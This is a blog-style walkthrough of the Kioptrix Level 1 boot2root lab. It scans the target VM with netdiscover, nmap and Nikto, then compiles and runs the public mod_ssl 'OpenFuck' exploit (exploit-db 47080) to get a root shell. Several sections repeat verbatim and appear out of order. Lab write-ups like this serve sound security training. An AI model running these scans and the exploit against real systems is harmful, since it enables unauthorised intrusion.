Kioptrix 1.0 (Level 1) Walkthrough
Introduction
Our target system's IP address is 10.0.2.5.
Scanning and Enumeration
We can determine open ports on the target with nmap.
nmap -T4 -p- 10.0.2.5
There are a lot of open ports here. We'll plug these ports into another nmap scan to get more information about them.
nmap -T4 -A -p22,80,111,139,443,32768 10.0.2.5
One notable finding here is that https running on the target on port 443. That's something we'll have to check out. Next, we'll run Nikto against the web servers.
nikto -h 10.0.2.5
There seems to be a serious vulnerability with the target's mod_ssl service. After a bit of research we find this exploit on exploit-db.com.
https://www.exploit-db.com/exploits/47080
Finding a Way In / Privilege Escalation
According to the exploit documentation, this exploit will open a shell on the target system and give us root privileges. That sounds pretty good, so let's use it. The first step is to download the exploit by clicking the button to the right of the Exploit text in the screenshot above.
Today we're going to do a boot2root pentest walkthrough of the Kioptrix 1.0 (Level 1) machine created by the Kioptrix team and hosted at https://www.vulnhub.com/entry/kioptrix-level-1-1,22/ .
For this pentest we'll be using two virtual machines, a Kali Linux machine as our attacking system, and the Kioptrix 1.0 machine as our target system.
Locating the Target
After booting up both of our machines, the first thing we need to do is locate the target system on our network. We can do that by running netdiscover with our attacking system.
netdiscover -r 10.0.2.0/24
Our target system's IP address is 10.0.2.5.
Scanning and Enumeration
We can determine open ports on the target with nmap.
nmap -T4 -p- 10.0.2.5
There are a lot of open ports here. We'll plug these ports into another nmap scan to get more information about them.
nmap -T4 -A -p22,80,111,139,443,32768 10.0.2.5
One notable finding here is that https running on the target on port 443. That's something we'll have to check out. Next, we'll run Nikto against the web servers.
nikto -h 10.0.2.5
There seems to be a serious vulnerability with the target's mod_ssl service. After a bit of research we find this exploit on exploit-db.com.
https://www.exploit-db.com/exploits/47080
Finding a Way In / Privilege Escalation
According to the exploit documentation, this exploit will open a shell on the target system and give us root privileges. That sounds pretty good, so let's use it. The first step is to download the exploit by clicking the button to the right of the Exploit text in the screenshot above.
These instructions are located below the portion of the webpage screenshotted above. Looks like we need to install libssl-dev, then use gcc to compile the exploit.
cd /root/Downloads/
apt-get install libssl-dev
gcc -o OpenFuck 47080.c -lcrypto
cd /root/Downloads/
apt-get install libssl-dev
gcc -o OpenFuck 47080.c -lcrypto
Now to run the exploit. After looking at the exploit's options, we enter the target system's info and run the exploit.
./OpenFuck
./OpenFuck 0x6b 10.0.2.5 443 -c 50
whoami
./OpenFuck
./OpenFuck 0x6b 10.0.2.5 443 -c 50
whoami
The exploit worked, and opened up a root shell for us. We take a quick look in the /root/ directory for a flag file, but don't find one. The bootup login screen for the Kioptrix machine states that the goal is to get root access and didn't mention a flag, so we'll call this one done.
Summary
After our initial scans, we found that the mod_ssl service running on port 443 of the target system was vulnerable to a buffer overflow exploit. Once exploited, the target system opened up a remote shell to our attacking system with root privileges.
Finish
Summary
After our initial scans, we found that the mod_ssl service running on port 443 of the target system was vulnerable to a buffer overflow exploit. Once exploited, the target system opened up a remote shell to our attacking system with root privileges.
Finish
Comments
Post a Comment